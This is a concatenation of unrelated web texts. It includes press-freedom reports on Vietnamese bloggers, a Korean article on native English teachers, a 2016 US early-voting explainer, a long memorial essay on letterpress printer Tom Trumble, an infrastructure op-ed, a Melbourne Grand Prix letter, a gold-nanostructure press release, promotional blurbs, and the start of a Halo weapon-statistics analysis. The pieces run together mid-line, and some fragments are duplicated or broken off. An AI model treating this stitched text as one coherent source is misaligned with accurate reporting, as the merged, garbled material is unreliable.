Both bloggers were convicted of anti-government propaganda under article 88 of the criminal code. Tung was given an additional four years of house arrest after completing the jail term. Of his relatives and friends, only his wife, Tran Thi An, was allowed to attend the trial.
A former military officer, Tung was arrested on 1 December 2011. He had been advocating democracy, political liberalism and a multiparty system in articles posted online since 2007. And, he had been a member of the Bloc 8406 opposition movement since its creation in 2006.
He was subjected to a public humiliation on 25 April 2008 in which he was brought before a crowd mustered by the authorities and insulted for various "crimes" including sending wreaths to the dissident Hoang Minh Chinh’s February 2008 funeral on behalf of pro-democracy groups based abroad.
The trial of three other bloggers – Ta Phong Tan, Phan Thanh Hai (known by the blog name of Anhbasaigon) and Nguyen Van Hai (known by the blog name of Dieu Cay) – that was supposed to begin in Ho Chi Minh City on 7 August was postponed at the last moment. No date has so far been set.
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10.08.2012 Vietnamese blogger gets six years in prison
Reporters Without Borders firmly condemns the six-year jail sentence that a court in the central province of Dak Nong imposed on the blogger Dinh Dang Dinh two days ago on a charge of anti-government propaganda.
"The same charges keep on being brought against Vietnam's bloggers," Reporters Without Borders said. "Article 88 of the criminal code has again been used to silence criticism of the government. The summary nature of these proceedings does not bode well for other bloggers currently being tried. We urge the courts to respect Dinh's right to due process and to overturn this unjust conviction on appeal."
Dinh was convicted under article 88-1 (c) of the criminal code at the end of a three-hour trial in which he pleaded not guilty and defended himself because his family could not afford a lawyer. He was accused of writing and posting articles critical of the Communist Party, the government and Ho Chi Minh between late 2007 and October 2011, when he was arrested.
According to the information obtained by Reporters Without Borders, Dinh was a military officer who left the armed forces in 1988 after a disagreement about the ruling Communist Party's policies. The authorities turned their sights on him after he launched a petition against a bauxite mining project in Dak Nong in 2009. In his
blogs, he advocated democracy and pluralism.
Dinh is one of a series of bloggers to have been prosecuted by the authorities in recent months. The trial of three more – Ta Phong Tan, Phan Thanh Hai (known by the blog name of Anhbasaigon) and Nguyen Van Hai (known by the blog name of Dieu Cay) began in Ho Chi Minh City on 7 August. They are also charged under article 88.
Because of its systematic use of cyber-censorship, Vietnam is on the Reporters Without Borders list of "Enemies of the Internet." It is now the world's third biggest prison for netizens (after China and Iran), with at least 19 currently held.A native English teacher reads to students in his classroom at Myongwon Elementary School in Seoul in this photo taken in April 2013. / Korea Times file
By Lee Jin-a
The number of native English teachers at public schools has dropped nearly 42 percent over four years and is expected to fall further in the face of government funding cuts over alleged poor results.
Incheon, a port city west of Seoul, had the biggest drop of 71.8 percent, followed by Gyeonggi Province (63.1 percent), North Chungcheong Province (54.6 percent), South Chungcheong Province (47.3 percent), North Gyeongsang Province (46.8 percent) and Seoul (43.2 percent), according to education ministry figures.
As of early October, 4,962 native English teachers worked at public schools, down from 8,520 in 2012, according to the data. The ministry and regional education offices will soon decide the number of native English teachers to be hired next year.
"One of the main reasons for the decline was that municipal and provincial offices of education no longer have enough money to recruit foreign teachers," said Kim Jeong-keun, deputy director of the ministry dealing with the matter, pointing out that more money was needed for student welfare.
Another reason, the director said, was the lower than expected efficiency of classes involving native English speakers in improving students' English ability.
"We believe placing the teachers with the right talent in the right position is more efficient than merely increasing the number of foreign teachers," he said.
His claim was supported by 2012 research by the Seoul Metropolitan Office of Education that English-speaking Korean teachers played a bigger role than native English teachers in polishing students' ability.
An official at the North Chungcheong Province Office of Education said the sharp cut in native English teachers in the province was attributable to the increasing availability of well-educated English-speaking Korean teachers.
"We used to recruit native English speakers as teachers to give students who couldn't afford a trip to an English-speaking country first-hand learning from native English speakers," the official said. "But now it's easy for children to meet native English speakers through social clubs and other casual and affordable ways. So we have decided to increase the number of Korean teachers who will be able to improve students' proficiency with various training and tests."
During the 2008-2013 Lee Myung-bak administration, the government expanded the number of native English teachers to improve the quality of public English education.
In 2009, the Seoul Metropolitan Office of Education said it would place at least one native English teacher in every primary and secondary school in its precinct by 2012.
But since 2012, Seoul has significantly reduced the number of English-speaking teachers, based on its survey of the effectiveness of the English education policies. The survey still serves as a theoretical backbone for the nationwide reduction of native English teachers.
In the survey, students (53.7 percent of 28,761) and parents (62.2 percent of 12,150) favored Korean teachers with high English-speaking skills over foreign teachers. It suggested students who had low English skills found it difficult to communicate with native English teachers and lost motivation to study English.
But there are experts who oppose the policy. Choi Hyung-jai, an associate professor at Korea University, claims the country needs more native English-speaking teachers to ensure fair education for students.
According to his 2013 study, high school students with mid-to-upper grades improved their scores in English tests while studying with foreign teachers more than students with lower grades did.
He said students who were confident in English and had better English-speaking skills could learn more from native English speakers.
He said the government should increase the number of foreign teachers and create special programs for students who lacked English-speaking skills to reduce the gap between students with upper and lower academic levels.Voters cast their ballots during early voting in North Carolina on October 20, 2016. Thomson Reuters
This year's contentious presidential election has drawn early voters out in waves, with both Democratic nominee Hillary Clinton and Republican nominee Donald Trump calling on supporters to cast their ballots before Election Day.
At least 37 million people had already voted, either in person or by mail, by Friday, according to the US Elections Project.
But recent developments in the campaign may have some voters wishing they could change their mind.
Three states — Michigan, Wisconsin, and Minnesota — allow voters to switch their votes before Election Day. Despite news reports, Pennsylvania does not allow absentee voters to change votes. In Connecticut, it is up to the local town office, a State Department official told Business Insider.
How to change your vote
Changing your vote can be quite the headache for election officials, since they have to track down your ballot and re-file the paperwork.
In Michigan, absentee voters can change their ballots if they haven't been processed and tabulated yet, according to an official at the state's Bureau of Elections.
If you want to change your absentee vote there, contact your city or town clerk's office. The best chance to change your vote will be before 4 p.m. on Monday (since Election Day is often too busy or too late). Offices are open Saturday until 2 p.m.
Wisconsin residents who voted early in person can recast their ballot so long as they do so by Saturday, November 5, an election official told Business Insider. The deadline for absentee voters who mailed their votes in to change their choice has past, he said.
Minnesota also allows absentee voters to change their minds, but the deadline to do so was one week before Election Day.
'A big mistake'
The call to change votes began last week after news broke that the FBI was looking into more emails from Clinton's private email server. Trump quickly encouraged voters to switch their choice.
"Now that you see that Hillary was a big mistake," Trump tweeted on November 2, "change your vote to MAKE AMERICA GREAT AGAIN!"
The candidate was slightly off on the number of states that will allow the unusual practice (he was likely referencing a Fox News report that was later corrected, or perhaps a CNN story that erroneously listed seven states).A remembrance of Tom Trumble, letterpress pressman, and a meditation on preservation and nostalgia
“In an era of stress and anxiety, when the present seems unstable and the future unlikely, the natural response is to retreat and withdraw from reality, taking recourse... in modified visions of a half-imagined past.” Adrian Veidt, Watchmen
A letterpress pressman has died in America.
In 2010, there were more than 200,100 printing-machine operators working in the United States, a modest growth from the 140,000 pressmen and their assistants employed in 1975. The increase precisely mirrors the population growth over the same period. But absent in the numbers is the fact that over that time, letterpress printing has gone from being a declining but still important technology to a virtually extinct practice. Once, letterpress machines were at the center of the printing industry, their care and use taught in high schools across the country. Today, the majority of the pressmen who run monstrous web-fed offset presses would see a clacking Gordon-style jobber press as, at best, a quaint toy; at worst, an irritating and cumbersome relic.
And yet, according to Don Black, the owner of Don Black Linecasting, a major letterpress-equipment dealer based in Toronto, the value of a Vandercook press today is five times what it was just a decade ago. A generation has grown up in a world where Gutenberg’s metal type has been replaced by cascades of style sheets and the infinite white landscape of an InDesign work space. As commercial pressmen retire or die, tens of thousands of young designers, old tinkerers, and assorted enthusiasts step in as impromptu preservationists. While a vanishing few are old hands, most of these people have only a little letterpress experience. But they have wholly bought into the idea, the myth, of letterpress. I am one of these people, one of these “preservationists.” But what are we preserving?
* * *
1 By the late 19th century, anxieties over the loss of the old ways of printing were already crystalizing. Letterpress printing has been dying for more than a century. This year, we are celebrating (approximately) the 120th birthday of the nostalgia for traditional printing. It was in 1891 that William Morris founded his famous Kelmscott Press, where he set out to reinvigorate the traditional printing methods of Gutenberg, Jenson, and Caxton. And it was in 1892 that worsening conditions in the handset-type business forced 23 of the largest remaining type foundries in America to consolidate into the American Type Founders Company, where Henry Lewis Bullen began collecting one of the country’s largest type-founding and printing libraries, now housed at Columbia University, in New York.By the late 19th century, anxieties over the loss of the old ways of printing were already crystalizing.
In 1895 the mood turned from anxiety into opportunity when Elbert Hubbard started his imitation of the Kelmscott Press. Hubbard, a thriving soap salesman, founded the Roycroft Campus in East Aurora, New York, and brought arts-and-crafts design to a mass audience. In 1898, William Morris died.
What exactly are we mourning, and when, precisely, did it die? Are we mourning the age of Gutenberg and the world of the wooden common press? The type foundries of the late 17th and early 18th centuries, with their ranks of punch cutters and their battalions of castors and finishers? The iron presses of the early 19th century, operated by those lonely country printers? The massive mid-19th-century composing-room floors, where hundreds of compositors stood pole-straight in front of their cases, stick in hand, processing tons of lead a year, letter by letter?
How can we date the death of this massive, indescribable thing? The perfection of a reliable web-fed press by William Bullock, in 1865, certainly challenged the traditional notion of a single pressman hand-feeding and caring for his machine. And in the 1880s, Ottmar Mergenthaler’s Linotype machine, coupled with Linn Boyd Benton’s punch cutter, laid waste to the traditional economics of both the type-founding business and the composing room. And with Ira Rubel’s offset press of 1905, and then the coupling of the press with a web-feed system during the First World War...
Do you see how hard this is? Like a French scene, characters stream in and out, innovations rise, old methods fall, very little vanishes, but the energy and focus of printing is protean, unfolding. Where do we draw the line?
In 1907, Elbert Hubbard wanted desperately for William Morris’s daughter to visit the Roycroft campus and imbue it with the mystical energy of her father’s potent and originalist nostalgia. She is reported to have replied, “I most certainly will not go to East Aurora, nor do I have any desire to see that obnoxious imitator of my dear father.”
Nostalgia is always in tension with authenticity, one pulling toward the other; but they can never meet. Today we call it letterpress, and with that word we mean all things old in printing, from all periods, in an undifferentiated and anachronistic mass. We conjure halcyon days of bodkins and ink balls and jovial, balding men, their pudgy bellies draped with inky aprons, peering down through half-moon lenses at cases of sorts, the room yellowy and warm with the whale-oil light of their lanterns. For some, it’s punchcutters; for others, engraving machines. For some, it’s the devil’s tail of an old iron press, while others are seduced by the wheezing and whirling of a windmill’s automatic feeder. Morris was drawn to it, Bullen and the other old lions of the 19th-century industrial world were driven to it, and Hubbard, always the salesman in search of an angle, realized that he could market it. And we are all living with it.
We see deeply impressed wedding invitations in Martha Stewart’s magazines. CNN markets “American Democracy” with the faux authenticity of underinked gothic letters, while Chrysler has tried to anchor its line of Ram trucks to the masculine work ethic of handset metal type. Just the other day, I saw the characteristic faded-ink distribution of poor wood-type printing reproduced on the side of a McDonald’s plastic cup.
For 120 years, letterpress has been dying. This is nostalgia, bottled. It is mourning, framed on the wall. Printing has been dying while it lives. Its pallbearers are lining up around the block, and the hired mourners have been wailing in shifts day and night for decades.
But what are we mourning? Whom?
A pressman has died in America. His name was Tom Trumble. I’m mourning him. Let me tell you about him, and about the nostalgia we call letterpress.
“There are many kinds of work here that we are responsible for, any one of which could be a life’s work.” Theo Rehak
Tom Trumble was a letterpress pressman. It wasn’t the only thing he ever did, but it was his first and longest love, the thing he returned to again and again throughout his life.
2 at the Parma News Publishing Company in Parma, Michigan. Tom was 17, a junior in high school, and eager to get going with his life. Lee said, “Well, I need somebody with experience.” Tom answered, “How am I going to get experience if you don’t hire me?” He started in 1957, when he came to work for Lee Chamberlainat the Parma News Publishing Company in Parma, Michigan. Tom was 17, a junior in high school, and eager to get going with his life. Lee said, “Well, I need somebody with experience.” Tom answered, “How am I going to get experience if you don’t hire me?”
Tom was with Lee for less than a year when, after he was caught skipping school with a friend, the assistant principal gave him a choice: serve detention and miss work (and thereby lose his job) or get kicked out of school. “Tom never liked having things put to him,” Susie Trumble, Tom’s widow, told me. Tom chose printing and left school.
Lee Chamberlain and his pressman, Tom Trumble, in 1957, shortly after Tom was hired
Lee himself was a young man at the time. He was 36 when he hired Tom, and only 25 when he had bought The Parma News, shortly after the war. Like Tom, he had started printing when he was a boy, at 18. Lee had been trained as a Linotype operator while working at the The Springport Signal and then The Albion Recorder, two small-town newspapers. The training that Lee got was pragmatic and characteristic of its time. The old guy next to Lee brought his smelly bulldog to work every day, and it laid down right between them, next to the old guy’s spittoon. Occasionally the old guy would look over at what Lee was working on and declare, “That’s not the way you do that.” That was how Lee learned the trade.
While Lee served in the Pacific during World War II, he took comfort in printing. Once while on shore leave in Auckland, New Zealand, after living through the horrors of Guadalcanal, he reoriented himself by running a Linotype at a local printer’s office for a day, for fun. “Just to get a taste of home,” Lee says.
As much as any pair in America, Tom and Lee could be said to represent classic, old-school, professional letterpress printing. Lee and his wife practically slept at the shop (one of their children had a daybed, under the paper cutter, where she took her afternoon nap), and Tom lived and breathed the business too. “Of all the people I employed over the years,” Lee says, “he was by far the best. He could do anything. When we didn’t have any printing, he’d be doing some carpentry work or something. He became my very best friend.”
Lee had one big contract with a company called Park-O-Meter, producing what are called overtime parking tickets, which Tom printed. These crisp and disposable forms were printed on the Heidelberg and assembled in the shop for municipal clients all around mid-Michigan. Lee explains the job this way:
“At that time, if you got a ticket at a meter, it had a place below that you could pay your fine right there. It told you how much, everything. We printed the coin envelope, the ticket, the whole package. And we produced those by the millions. The cover sheet was carbonized. We did the carbonizing on the Heidelberg with soft carbon. It’s a nasty job. About once a month, we’d get them done in big batches, ahead of time, because that carbon ink, which looked a lot like ink, would drift. It would get all over the shop. It would get on your hands, in your eyes and hair, everywhere. Tom did all the carbonizing.”
The flag for The Parma News was handset by Lee in 72-point Goudy Bold. He made the change for the September 25, 1947, issue. The typeface was used until November 16, 1966, around the time that Tom left. (No one is exactly sure when Tom quit.) By then, Lee had had a cut made of the flag, and reduced it by 33 percent or so. The type was put back in the cabinet.
The Parma News. This newspaper flag is set in 72-point Goudy Bold, designed by Morris Fuller Benton in 1918, and based on the famous Goudy Old Style face designed by Frederic Goudy in 1915.
Tom Trumble and “his” 10-by-15 Heidelberg Platen Blackball. When Lee bought the Heidelberg in 1958, Tom Trumble was trained on it. In the background I believe Lee is gluing together parking tickets using a padding machine of his own invention. Park-O-Meter, a parking-ticket company from Sandstone, Michigan, was their largest account.
After a decade of jobs like this, the precision of letterpress work was drilled into Tom. As Lee explains it, the “aesthetic” of this work (if you want to call it that) was extremely utilitarian: “With good letterpress printing, you don’t want any impression showing at all. You want to kiss it and do a good job but not push the paper down.”
3 Like much of what Parma printed, they were designed to be thrown away. If we looked at them now, they would be unremarkable—perfectly flat with perfectly even ink coverage. We would find it difficult to distinguish them from something printed on an offset press or even from a home computer’s printer. No Park-O-Meter tickets or envelopes from this period can be found, and certainly none that can be ascribed to Lee or Tom.Like much of what Parma printed, they were designed to be thrown away. If we looked at them now, they would be unremarkable—perfectly flat with perfectly even ink coverage. We would find it difficult to distinguish them from something printed on an offset press or even from a home computer’s printer.
Without realizing it, Lee and Tom were executing an essential dictum of typography, described by Beatrice Warde:
Imagine that you have before you a flagon of wine.... You have two goblets before you. One is of solid gold, wrought in the most exquisite patterns. The other is of crystal-clear glass, thin as a bubble, and as transparent. Pour and drink; and according to your choice of goblet, I shall know whether or not you are a connoisseur of wine. For if you have no feelings about wine one way or the other, you will want the sensation of drinking the stuff out of a vessel that may have cost thousands of pounds; but if you are a member of that vanishing tribe, the amateurs of fine vintages, you will choose the crystal, because everything about it is calculated to reveal rather than hide the beautiful thing which it was meant to contain.
Utilitarian transparency is not something that we now typically associate with letterpress. Letterpress today is entirely about process, and in that way it seems to have become the gaudy golden cup that can obscure so much about its contents.
Consider, for example, the introduction to the book Impressive: Printmaking, Letterpress & Graphic Design, published in 2010 by Gestalten:
Letterpress... offers a three-dimensional quality unrivaled by other printing methods—the physical bite into the paper adds its own topography, hills, troughs, and definition to crisp lines, patterns, and typography.... [T]he cheeky pleasures of overprinting, of deliberate mistakes, of smudges, splashes and splurges, add a personal signature to the finished product.
This “dimensionality” espouses, according to the author, a “self-reliant go-getter attitude” characteristic of the American Midwest’s newly rediscovered “maker spirit.”
When I read this kind of lyric, I can only imagine Tom. Tom was a lover of old junk, of fixing things and saving things and making things go. When I was a boy, my dad and Tom would rebuild old tractors together, and though I hated it at the time, I can now remember nothing so beautiful as watching blowtorch fire falling like hot rain from the fender of an old John Deere Model A or a Minneapolis Moline, as men cut the metal in Tom’s barn. I would sit on an old milk can, and the men would tell blue jokes that I wasn’t meant to hear, and slowly the machine would rise up from the floor into something that looked like it would run again.
But that feeling, that smell of oil, the satisfying look of gears meshing—as much as that was something Tom loved, you were never meant to see that in the printing. And so, though this letterpress aesthetic reminds me of Tom, it would have made him laugh, or yell.
Envelope with a faint hint of dimensionality
I worry that the process and the product are getting confused; that we want the satisfaction of the making to come through in the thing made. But you don’t get that satisfaction, nameless consumer. I’m sorry.
Part of my heart says you didn’t earn it. Tom worked hard to hide it from you. He wasn’t always perfect, but that was the job of a workaday printer. He gets to keep that feeling. It’s not for you.
As Elbert Hubbard, that old phony, once wrote, “The love you liberate in your work is the only love you keep.” But this feeling is wrapped up in my sense of how Tom’s life played out.
Tom worked for Lee for ten years, from 1957 to 1967. He dropped out of school for the job, in part because he didn’t want anyone to put anything to him. He was, as they say, self- reliant. Or maybe we call that stubborn. “He was a stubborn SOB,” his widow, Susie, says to me, smiling.
There were a lot of things Lee and Tom did not always see eye to eye on. One day, Lee put it to him: Was he going to print or not? Tom never liked having things put to him.
Tom worked as a manufacturing foreman for Clark Equipment for many years after that, until the factory closed down at the end of the 1980s. Then he drove a truck, plowing roads for the county. But he never got away from printing.
Around this time, Lee was liquidating the printing company. Lee had sold the business on contract to three different groups of guys who couldn’t make a go of it, who couldn’t even run the presses right, and all along Tom watched from the sidelines, agonized to watch it fade away.
Lee had a Heidelberg cylinder, which was a huge machine, and he gave one of those fellows to whom he had sold the business permission to sell it. “He didn’t know how to run it, didn’t want it, and I told him he could sell it even though I was still holding him in contract,” Lee says. The movers came in, and they loaded it on a flatbed bound for Chicago.
“It was a beautiful machine,” Lee says. “I enjoyed running that machine. When that was installed, the man that installed it said, ‘Now, I’ll work with you for a week,’ which I think he did. And when he got the thing completely installed, at the high point on the press he stood a nickel up on end and ran it at top speed, which was pretty fast. Until the day I sold it, still that coin was standing there, just like that. That was just how smooth it was.”
On the way to Chicago, the movers got into a traffic accident, the press landed on the pavement, and the iron broke right in two.
After the fools faded away, Tom stepped in and bought all of the surviving letterpress equipment. This was an honest, earned nostalgia.
Around the same time as Lee was getting out and Tom was getting in, the American Type Founders Company went bankrupt for the last time, and its entire industrial holdings were auctioned off, mostly for scrap. This, like everything else, is the paradox of letterpress. We can call the late 1980s and early ’90s the final, ultimate, apocalyptic end of the bulk of commercial letterpress printing. But it was also the moment when old men, in their retirement, were saving presses from junkyards and failing businesses. As Tom was buying the fragments of little Lee Printing, Theo Rehak was salvaging the core of ATF to bolster his foundry at the Dale Guild.
Tom bought the type, the steel-type bank, two galley cabinets, a Ludlow caster and a bank of brass matrices, and a handful of press-room bits and bobs. And he bought the 10-by-15 Heidelberg Blackball Windmill (the brother of the destroyed cylinder) that he had been trained on as a boy.
* * *
When I was a boy around this time, I told my dad that I wanted to print my own books. I convinced him to buy me a scanner and a laser printer, which must have cost $1,200 on top of the computer he had just bought me. I, of course, was totally self-centered and had no idea that he had really put himself out to buy that stuff, but I was a kid, so there’s that. I wanted to make books. I wanted to print high-quality interiors, and then bind them.
When Dad saw that I was really excited about books and printing, he must have proudly told Tom about it. Dad came back with four strips of lead, each with one of our names on it in backward letters. One for me; one for my sister, Erika; one for Mom; and one for him. I didn’t understand it at the time, but Tom had cast these on his Ludlow. Tom was offering, my dad said, to train me as a printer. You know, after school, for fun. Tom had made me this bit of type, and, really, Dad said, I should do it.
But I hated having things put to me. I said no to the offer of being trained by Tom Trumble. I’ve regretted that decision every day of my adult life. It is a strange thing that the whims of boys should rule the lives of men.
* * *
Years later, I had still not shaken the feeling of that metal type. In 2005, I came across a listing on Briar Press in which a lady from Rochester, New York, was selling her entire print shop for $1,200. At the spur of the moment I called her and agreed to buy it, and then started planning how to get it. From there I called Tom Trumble, to get his advice.
It was an awful conversation. I didn’t know a platen from an ink disk; I didn’t remember the size of the press I was buying. He sniffed out my ignorance and uncertainty, and as men like that always do, he pressed me aggressively. I see now that he didn’t want me to make a foolish mistake, but I wasn’t having any of it.
I went ahead and bought that press. You can call it “self-reliant.” I’ll call it being a son of a bitch.
I never said anything really personal to Tom. I never asked about his time as a printer or his advice on how to print things. After passing up his offer years before, I was nervous, and I didn’t feel it was my place. I have no idea what he thought.
Talking to Tom reminded me of what the wrecker driver said to me as he helped me lower my press down into my basement: “With heavy things like this, you can’t control them. All you can do is influence them.”
“I used to envy the father of our race, dwelling as he did in contact with the new-made fields and plants of Eden; but I do so no more, because I have discovered that I also live in ‘creation’s dawn.’ The morning stars still sing together, and the world, not yet half made, becomes more beautiful every day.” John Muir
Letterpress printing died on June 4, 2011, of cancer. It was in his brain and his lungs and his bones.
I want him back.
I feel like I am printing now because I threw it away when I was a boy. I wonder if that’s how Tom felt too. I’m sure Tom would say, “It’s just printing.”
4) entirely ignorant of the modern letterpress resurgence. When Tom opened up his basement print shop, Ye Olde Print Shoppe, he did it for money. He loved it, but he did it to make money. I’m not sure those two things were distinct for him. I wonder if the key to what he missed about printing for Lee was the primal pleasure of loving what you get paid to do. There is something pure about that. There is no distinction between art, craft, commercial, aesthetic. If it all lines up right, you are just rewarded for being who you are. What could be more beautiful? And that’s what it was to him. Just printing. Tom was never a |
to fund them.
Simply calling a project “infrastructure” does not automatically make it economically worthwhile.
Only 11% of new federal infrastructure spending is actually being spent on the real thing
Nonetheless, the federal government has stated that its infrastructure plan will not only generate long-term economic gains but will have a stimulus effect on the economy in the short term. Even this argument fails in practice, primarily due to the considerable delays — from when the infrastructure spending is announced to when the spending actually takes place and shovels hit the ground.
Infrastructure projects typically require time for planning and debate, and in cases where multiple levels of government are involved, can take additional time to co-ordinate. Often, by the time infrastructure dollars are actually spent, it is long after the announcements were made.
Several recent reports from the Parliamentary Budget Office have called into question Ottawa’s ability to deliver infrastructure spending on the timeline laid out by the government.
And just recently, a Senate report found that of the $13.6 billion in infrastructure spending planned for 2016/17 and 2017/18, only $806 million worth of projects have actually commenced. In other words, just six per cent of the planned projects have started. So for a government that believes infrastructure is a way to stimulate growth in the short term, the evidence to date does not seem encouraging.
In the federal budget expected later this month, the government will likely tout the economic benefits of infrastructure spending. Canadians would do well to be skeptical of such claims.
Charles Lammam and Hugh MacIntyre are co-authors at the Fraser Institute of the report “Myths of Infrastructure Spending in Canada.”By: Brenda
I regularly drive through the Grand Prix track in the mornings during peak hour, ready to start the day. A couple of months before and after the grand prix I watched workers prepare for the race; I saw men and women who were collecting a wage, I saw people who were not on welfare, I saw people who are paying tax (as both parties have discovered, there are a lot of people who are not; the rich employed aren’t in any hurry to part with their money, and unemployment at the poorer end of town is much higher than the quoted figures), I saw people who were spending money locally for about four months of the year – These shopping strips need all the support they can get.
Then I read the letters to the paper, many of whom I suspect are retirees, opposing the Grand Prix. They state that the cost is too high and would be better used elsewhere, such as in health and welfare. This is a valid point of view, but I believe it is based on simplistic, short-sighted accounting, as they don’t mention that a significant part of the cost of the Grand Prix is in wages, a part of which goes back to the community in taxes, and they don’t mention that the cost to the community of people being on unemployment benefits is much more than the cost of the benefits themselves.
The unemployed struggle to pay rent or a mortgage and the social problems that flow on to themselves and their families are immense; family breakdowns occur, mental health problems escalate and sadly, at times, people in desperation resort to criminal activities. The social costs are immense (Malcom Gladwell had a good article on this in the New Yorker called ‘Million Dollar Murray’)
Some suggest that the Grand Prix should move to a purpose built circuit. This is not an alternative, as the construction would be a one-off affair, ongoing work would not be provided.
It would not be as successful, the organizers know this, as the current position showcases Melbourne for overseas viewers. If the Grand Prix is not held in Albert Park, it will not be held in Australia at all.
I have visitors from Europe who do not visit during the Grand Prix, but know about Melbourne because of it. They and their friends always want to be driven around the track and have a picture taken in the Pit Lane, next to the presentation area (I also have visitors from interstate attending the Grand Prix, and no, they do not get freebies).
Other arguments state that a motor race should not be held in a park. Albert Park was originally a swamp area that was drained in the 1800s to provide sporting facilities for the area starting with rowing, which was popular at the time. The whole area is a sports precinct; complete now with an aquatic centre, a golf course, a driving range, football stadiums, cricket ovals and basketball facilities among others (it also hosts polo games and numerous fun runs).
Yes there is some disruption to the basketball players, but do they remember what the facilities were like before the Grand Prix? One family said it was disgusting; they had to play in what she described as third world conditions.
Yes there is some noise, but it is nothing compared to the noise I hear daily (or rather nightly) and disruptions for races of a much longer duration are well known to occupants along the beach – This is the area we live in. Incidentally, a young psychologist I know bought a flat specifically because it overlooked the track.
If we lose the Grand Prix (first held in Albert Park in 1956, later losing it to Adelaide would cost Victorians a lot more than keeping it would [as we will have added significant burdens to health and welfare systems]) the park itself will likely deteriorate significantly as with the current clime there is insufficient money for such activities (currently, it has never looked better).
I know this is an unpopular view, or is it? A comment was made in a local facility in favor of keeping the Grand Prix, three people immediately agreed, but two added that they would normally not have the courage to mention their views as they could suffer a backlash at work. One person spoke in favor of getting rid of it because it hurt the trees.
An Italian gentleman once displayed a Ferrari flag on his garden plot and was told to take it down as it “offended some people”.
Those who oppose the Grand Prix have a right to do so, but just because they are well-organized and politically active does not make theirs the only voice that should be heard.
Let’s hear it for the battlers Vroom, Vroom.Nanostructures worth more than their weight in gold
Researchers found the use of the bottom-up method gave them a new degree of freedom to control the placement of the nanoparticles.
More effective monitoring of pollution levels in the workplace is on the horizon following the development of a new construction method for microscopic structures made of gold.
The unit of measure for nanostructures, a nanometre, is a billionth of a metre or about 1/50,000 the width of a typical human hair. Materials, including gold, engineered on this tiny scale have vastly different chemical and physical properties to those manufactured on a larger scale.
Monash University’s Associate Professor Udo Bach, his team from the Department of Materials Engineering and collaborators from CSIRO and the Australian Synchrotron have used an unconventional bottom-up strategy to fabricate nanostructures with gold nanoparticles.
The result is gold nanostructures with superior abilities that can be built into monitoring equipment to sense the presence of chemical and biological pollutants. They are 36 times more sensitive than current commercial sensing substrates. The gold nanostructures also have the ability to absorb light, which opens the way for improved absorption of solar energy into solar cells.
Two main strategies are used to fabricate nanostructures. Top-down is a conventional fabrication method where a bulk material is crafted to obtain smaller features, while the bottom-up method starts with nanoparticles to build a larger structure.
The researchers found the use of the bottom-up method gave them a new degree of freedom to control the placement of the nanoparticles.
“To exploit the full potential of novel materials, techniques need to be developed that allow us to integrate them into everyday devices such as solar panels and pollution monitoring equipment,” Associate Professor Bach said.
“Two levels of control are critical for such techniques: the ability to integrate nanoparticles into existing structures and the ability to control the orientation of these nanometre-sized building blocks to form ordered arrays.”
Lead author and PhD candidate Thibaut Thai from the Department of Materials Engineering said the bottom-up method was like building with Lego…at the nanoscale.
“Tiny blocks of gold were joined together until the final structure was reached. Controlling the orientation of the nanorods allowed us to build more complex nanostructures,” Mr Thai said.
“By developing a way to control the assembly of the nanoparticles on surfaces, we were able to reduce the problem of integrating these nanostructures into functional applications.”
Associate Professor Bach said the use of these new arrays of nanoparticles would not be limited to sensor applications. The research team was now focusing on developing their properties in photonic circuits, which ultimately could lead to optical computing applications.
The Melbourne Centre for Nanofabrication and the Australian Synchrotron were both crucial in the success of this project.
The research findings were published in Angewandte Chemie with a Very Important Paper classification, a grading given to less than five per cent of the papers the journal publishes.Ultimate South Seas Escape, All-Inclusive
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Package based on departure from select California cities, using promotional fares with limited availability. Please indicate your preferred departure city in your quote request and our agents will provide you with a customized quote reflecting the best available airfare for your specific travel dates and location. Danny Meyer's NYC-based blockbuster burger chain is finally making the move to Denver. Shake Shack is trekking to the Mile High City in late 2017 and its location will be in the RiNo Art District. This is a city that loves its burgers and Shake Shack is a brand that, much like In-n-Out, is well sought after.
In classic style for the company, the RiNo Shack will offer all the staples, from 100% all-natural Angus beef burgers and cage-free chicken to the famed crinkle-cut fries and spun-fresh frozen custard. Plus, there are promises of frozen custard concretes that will be featuring local Denver food purveyors.
The exact location is not yet revealed but, if the history of the company is any guide, we predict a free-standing building that also allows for parking, perhaps on Brighton Boulevard, perhaps on Larimer closer to 35th. We do know that the Shack will be constructed with recycled and sustainable materials and that chairs and booths will be made from lumber certified by the Forest Stewardship Council, and tabletops will be made from reclaimed bowling alley lanes from Brooklyn’s CounterEvolution.
Stay tuned for details.
Does Shake Shack or In-n-Out Make a Better Burger?Preface
This is part of a series (hopefully) where we’ll dive into the data available from the Halo stats API and try to derive useful strategy from it. While the API is great for providing traditional “box score” type stats (basically what you see in the post game carnage report data), we believe its greatest potential strength, and current weakness, is the play-by-play information. From this, you can determine which strategies are effective and which ones are not. However, the API doesn’t contain all the possible endpoints we desire, so we can’t get a full picture of what goes on in each match. This series will try and illuminate the few things that we can analyze with the available data. This is the first entry in the series, and relies on the API endpoints for game winners/losers and power weapon pickups. As always, feel free to comment on this post with your feedback. If you have questions about how something was calculated, or think things should be done differently, we’d love to hear it.
Introduction
Note: in the most recent Halo update, the starting ammo count for both the Sniper Rifle and the Rocket Launcher were reduced, from 12 to 8 for the Sniper Rifle and from 4 to 2 for the Rocket Launcher. The following analysis was conducted using data from before this ammo count change. It’s unclear what impact that change will have on these results, and perhaps the only way to know is to revisit this analysis in a few months using post-update data.
At the beginning of a match on Coliseum, you’ll often find members of each team discussing who will rush rockets and who will rush snipe. The opening race to each of the power weapons dominates all strategy. Some teams will split forces to try and get both, while others will send everyone to one side to maximize their odds of securing that power weapon. But how important really is it to get first touch on the power weapons? And, if you had to choose just one, which one should you rush for at the start of the match?
Well, we’ll get to those results in just a second, but first a spoiler: getting the power weapons first doesn’t really help your odds of winning. But there is a better indicator of win percentage: total time of possession for each weapon. So we’ll also take a look at that metric and see what we can learn from it. Notice how our success metric is win percentage. There are other metrics you could look at to judge success, in terms of a score based stat. For example, in a strongholds match, about how many capture points is picking up rockets worth? This is something that we’d like to look at in a future post. But for now, we’ll only consider the impact of power weapons on winning a match.
Dataset
To get the data needed for this analysis, we looked at almost 1400 matches (the actual number was 1337 PogChamp) played by pros and top amateur players on Coliseum. Roughly half the matches were Capture the Flag and the other half Slayer. All the matches were Custom Games, and we’re pretty sure that only serious scrimmage and Pro League matches are included. We don’t include Arena matches for two reasons: one, most pros don’t take Arena matches seriously, and two, most Arena matches aren’t played with a full team of 4 players communicating. In both cases, the data from Arena matches may not reflect the “true” meta one may expect to see at the competitive level.
Part 1: First Pickup
